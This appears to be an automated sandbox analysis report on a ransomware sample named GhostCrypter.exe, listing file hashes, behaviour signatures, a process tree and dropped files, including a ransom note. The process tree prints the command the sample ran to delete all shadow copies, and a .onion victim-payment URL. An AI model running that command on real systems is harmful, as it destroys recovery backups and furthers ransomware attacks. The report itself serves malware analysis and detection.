Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/03/2024, 20:19

General

  • Target

    Ransomware/GhostCrypter.exe

  • Size

    87KB

  • MD5

    d60b0083605a9fb10b4d21005f1febd0

  • SHA1

    ed538f9dc4a7b58649d55b892e4a32cfb25b98a1

  • SHA256

    eae568e1a06b6dd762c92a8e0be5349c0c474ff429785fdad7d58083a10485de

  • SHA512

    4c8b4e93685852cc4634f2cc2bd66ff86b2e133b9f6899441488b630569c26832eab07b08ced87b62031749969bb9c0d2e1fd229071213ed71eeaa9f27fb87cb

  • SSDEEP

    1536:NcMqI3TJ38pY5GuncfTpgg5qKB3gg5bwFlG3zg4llJLmA+pVStv:Nck3TJ38pY5OfTpTpggSHGblzL8S

Malware Config

Signatures

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ransomware\GhostCrypter.exe
    "C:\Users\Admin\AppData\Local\Temp\Ransomware\GhostCrypter.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:440
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /Quiet /All
      2⤵
        PID:4512
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://idxcgov7x3dl552g.onion.link/vict?cust=8075ffe0db3cded725bdb4f67cc450bb834965a6&guid=d1f2fdfb-e063-43be-88aa-b9b0326295b4&ever=2016-04-04_2&wver=0a00614a4336&fc=3289
        2⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1740
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffbfe1246f8,0x7ffbfe124708,0x7ffbfe124718
          3⤵
            PID:4808
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
            3⤵
              PID:4676
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 /prefetch:3
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2624
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:8
              3⤵
                PID:4332
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                3⤵
                  PID:1284
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                  3⤵
                    PID:2024
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5088 /prefetch:8
                    3⤵
                      PID:3764
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5088 /prefetch:8
                      3⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3640
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
                      3⤵
                        PID:4540
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
                        3⤵
                          PID:1036
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:1
                          3⤵
                            PID:2192
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5708 /prefetch:1
                            3⤵
                              PID:1996
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
                              3⤵
                                PID:2288
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5976 /prefetch:1
                                3⤵
                                  PID:4080
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1952,13801717673432084210,10364444137473211249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6112 /prefetch:1
                                  3⤵
                                    PID:2156
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:3528
                                • C:\Windows\System32\CompPkgSrv.exe
                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                  1⤵
                                    PID:1656

                                  Network

                                        MITRE ATT&CK Enterprise v15

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                                        Downloads

                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\manifest.json

                                          Filesize

                                          408B

                                          MD5

                                          4c9bccdcde929832d9ceffe0961122e2

                                          SHA1

                                          6f4b5c58cfba211f08d7a3c075165fca3e4692b0

                                          SHA256

                                          d3a32ca5e618f7c51d20e9571587df1c17b8bbc8553faaab5f1086ee21de9052

                                          SHA512

                                          9b84890db57a3f32aac4cf0f267d10cbac0300e38aa6763df2c535fd3eef958ff850094207c16b3b993bce383ba79f6dc7e90b222c7253ac24bd4d923a8e5c01

                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\WidevineCdm\manifest.json

                                          Filesize

                                          1KB

                                          MD5

                                          c65ef052e27b853ad854fcb7d357b824

                                          SHA1

                                          fafb9df43244cb0aa578bc1da5acfed6ae13a0e4

                                          SHA256

                                          87092af1043c7bb1ace029e6a9ec97acea215bf200c449dd44cb0afa1a4939ac

                                          SHA512

                                          f87be53abf9fbb141012d9e7bb0398726cff400140921039dde4966550ef71520f2aa76fabdea3ce324044be71bc29f07971769f107d7ec978c28cf11b003ac0

                                        • C:\Program Files\Common Files\microsoft shared\ink\readme_liesmich_encryptor_raas.txt

                                          Filesize

                                          1KB

                                          MD5

                                          2fff533b1a751feeeefb6705b9ea0d1d

                                          SHA1

                                          c8af6085f3e33c16d727681efc60d49d5135623e

                                          SHA256

                                          ccabe8bd91fe487b15ed179a4bb9a3c16ac79007df3fa8bae5a7674518ce4ed0

                                          SHA512

                                          fc5f8eae8f87a5e763b9e43c2dfb3503da794678fe66668feb2a2a0ad10cb23295855323277490783e5f3ba4093c52ab48087e35f1bbee794ecfe4243ca28a48

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          9f44d6f922f830d04d7463189045a5a3

                                          SHA1

                                          2e9ae7188ab8f88078e83ba7f42a11a2c421cb1c

                                          SHA256

                                          0ae5cf8b49bc34fafe9f86734c8121b631bad52a1424c1dd2caa05781032334a

                                          SHA512

                                          7c1825eaefcc7b97bae31eeff031899300b175222de14000283e296e9b44680c8b3885a4ed5d78fd8dfee93333cd7289347b95a62bf11f751c4ca47772cf987d

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          7740a919423ddc469647f8fdd981324d

                                          SHA1

                                          c1bc3f834507e4940a0b7594e34c4b83bbea7cda

                                          SHA256

                                          bdd4adaa418d40558ab033ac0005fd6c2312d5f1f7fdf8b0e186fe1d65d78221

                                          SHA512

                                          7ad98d5d089808d9a707d577e76e809a223d3007778a672734d0a607c2c3ac5f93bc72adb6e6c7f878a577d3a1e69a16d0cd871eb6f58b8d88e2ea25f77d87b7

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old

                                          Filesize

                                          568B

                                          MD5

                                          e33bd9f826625340c8bced6a1845ab64

                                          SHA1

                                          5a4a21ba55fc80a0305f990d91d600636ba8148e

                                          SHA256

                                          a94ba116d4e0341a52cfedefb4c2200f7980e88ba3d82fd7c1f7938743a15c93

                                          SHA512

                                          b0b0a0fb0507d6a2fe3746c4066fbb9ad9e5c5d3eac0ab5209766c1d4344725eb84cf92ad07c08b621a75b659b79398903de82df89f611aa1b16ba7b34715251

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                          Filesize

                                          111B

                                          MD5

                                          285252a2f6327d41eab203dc2f402c67

                                          SHA1

                                          acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                                          SHA256

                                          5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                                          SHA512

                                          11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          dc4fd77dc1feaa7c3ca1fbc27dd5238d

                                          SHA1

                                          d9ab90d882cd72f889946067143375e2b0b323a3

                                          SHA256

                                          7aa301732ff44baf73ebbd0dc6c8f10456ee1b6bbdd9fa51fe925f8fec31a2f9

                                          SHA512

                                          0d5594fae12ef3ebd330a8a3f1b692540ae8e23a80e8fa5509dd92f8b33d9870a151ac125108f71f6a5a85c177d2f16e892eb09f4afa3e760d6c1f9fc434f778

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          c9b4dff4ef695e11c699b386358454d7

                                          SHA1

                                          f2011f5ebda0fe26878744006c335155955db18c

                                          SHA256

                                          9e5d3015dc98859643b2e0b0d06b31a35d28c84684f033b158d073180a8cdd6d

                                          SHA512

                                          dd0a5ec11a050766b6ec9a186dab3e61f78c849127b2885acae8e5e4300db049ad6753a835016d76ea5789fca298fe7dfa7401dc6421e1427b094a65c928ddfd

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

                                          Filesize

                                          584B

                                          MD5

                                          84b9675838509b8fef8d2f3410873a80

                                          SHA1

                                          1aedb6b42ce21d739f4b0d0bbc862aa2e9acd211

                                          SHA256

                                          90f0ee39208f367efeb5b7f454190d5f27b4e86a73bc1001e6676fb8e852b6da

                                          SHA512

                                          293188d315a8eda34f926a83f5831ff8116cbfdccfd3da559db92a7e28c84e2ba24e88313d6d5810597bc0502753a4f584d196d380512a6be012ac0f717a1e80

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old

                                          Filesize

                                          552B

                                          MD5

                                          661e4b3fea249387c8838104559f247d

                                          SHA1

                                          dbe19e4d15b58fc1bf85eef18082ecde3377a6f1

                                          SHA256

                                          9c8a579737ebfeb740876cc96299bd85314db3ba4a90e3f50ce47fec1e316977

                                          SHA512

                                          fe341abeba9f7a3fb1ae182bcae70d3bca2b149d8fa45e20a75b75af4bf726795abd72c5d79ec8d8bd1c551eec875e126c468978123b3922402c76f2c10c7060

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                          Filesize

                                          16B

                                          MD5

                                          6752a1d65b201c13b62ea44016eb221f

                                          SHA1

                                          58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                          SHA256

                                          0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                          SHA512

                                          9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                          Filesize

                                          11KB

                                          MD5

                                          85a7e065361e653db50049f473d18206

                                          SHA1

                                          efed7d778a4696994cf1ea972e98b02c28ee49a4

                                          SHA256

                                          a65b47333f8980223d6d3b847857d107abe00edc59d436c6b8877be024ccf63e

                                          SHA512

                                          689fafe1de2fec6a07ddffc05362fab1b8acd6ccfa604146fe162d30c30b0b8f7328e6b1de6f3daf5abb44526fdbe79af1dea72c0f1c4bb1aaf781e12d94e1cf

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt

                                          Filesize

                                          280B

                                          MD5

                                          62f0c9d9a82735db6b20845ee24e3949

                                          SHA1

                                          499941abcf6da7cb97536c4bfef5d44fb9353503

                                          SHA256

                                          b809d0a066f9ac644fc2ddd1cec5cbedf2721188626a27274b60db8c90736e7b

                                          SHA512

                                          63a221ec7e76870672c4d665dc6fc8e896445112aac01f7d3ad76c806095ffc22dced8172b9e1cc7b29f6dcf7480946dd22c8bb31e9ce0c46d4f2e233fc50845

                                        • memory/440-111-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-4197-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-4022-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-3385-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-3202-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-2092-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-1999-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB

                                        • memory/440-210-0x0000000000400000-0x000000000041D000-memory.dmp

                                          Filesize

                                          116KB